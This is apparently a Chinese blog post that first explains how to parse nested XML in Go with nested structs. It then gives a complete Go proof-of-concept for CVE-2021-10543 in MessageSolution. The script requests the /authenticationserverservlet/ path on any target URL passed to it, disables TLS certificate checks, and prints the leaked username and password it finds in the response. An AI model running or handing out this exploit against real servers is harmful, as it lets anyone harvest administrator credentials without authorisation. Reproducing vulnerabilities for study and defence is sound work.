复现漏洞的时候遇到了xml解析问题
之前没搞过记录一下
一个xml在线格式化网站(https://tool.oschina.net/codeformat/xml)
![](https://img.laitimes.com/img/9ZDMuAjOiMmIsIjOiQnIsICM38FdsYkRGZkRG9lcvx2bjxiNx8VZ6l2csEzaU90dnRlTyEleYdHMywEMW1mY1RzRapnTtxkb5ckYplTeMZTTINGMShUYfRHelRHLwEzX39GZhh2css2RkBnVHFmb1clWvB3MaVnRtp1XlBXe0xyayFWbyVGdhd3LcV2Zh1Wa9M3clN2byBXLzN3btg3Pn5GcugTO3EjM0ETMzIzMwEjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
对于go语言解析xml需要用到结构体
而图中的xml有两层嵌套
就需要通过结构体来套结构体实现解析
以上图为例
第一层结构体
type 第一层 struct{
//第一层的xml入口
XMLName xml.Name `xml:"authenticationserver"`
//对应解析server
Server Seconding(第二层结构体的名称) `xml:"server"`
}
第二层结构体
type 第二层 struct{
//第二层入口有需要添加
//对应需要解析的位置
Username string `xml:"username"`
Password string `xml:"password"`
}
对应的本次复现的CVE-2021-10543
package main
import (
"crypto/tls"
"encoding/xml"
"fmt"
"io/ioutil"
"net/http"
"os"
"time"
)
/*
CVE-2021-10543 poc
访问MessageSolution目标的/authenticationserverservlet/
查看是否有username password
尝试登录
*/
func exp(urls string) {
tr := &http.Transport{
TLSClientConfig: &tls.Config{
InsecureSkipVerify: true,
},
}
client := &http.Client{
Timeout: 5*time.Second,
Transport: tr,
}
req ,err := http.NewRequest("GET",urls,nil)
req.Header.Add("User-Agent","Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0")
if err != nil {
panic(err)
}
resp , err := client.Do(req)
if err != nil {
panic(err)
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
type Seconding struct {
Username string `xml:"username"`
Password string `xml:"password"`
}
type mesgsoserver struct {
XMLName xml.Name `xml:"authenticationserver"`
Server Seconding `xml:"server"`
}
x := mesgsoserver{}
err = xml.Unmarshal(body,&x)
if err != nil{
fmt.Println(err)
}
if err != nil {
fmt.Println("HttpGet error is ", err)
}
if resp.StatusCode == 200 {
//fmt.Println("body is",string(body))
fmt.Println(x.Server.Username)
fmt.Println(x.Server.Password)
}else {
fmt.Println("body is",string(body))
fmt.Println("err")
}
}
func check(urls string) {
url := urls + "/authenticationserverservlet/"
exp(url)
}
func main() {
urls := os.Args[1]
check(urls)
}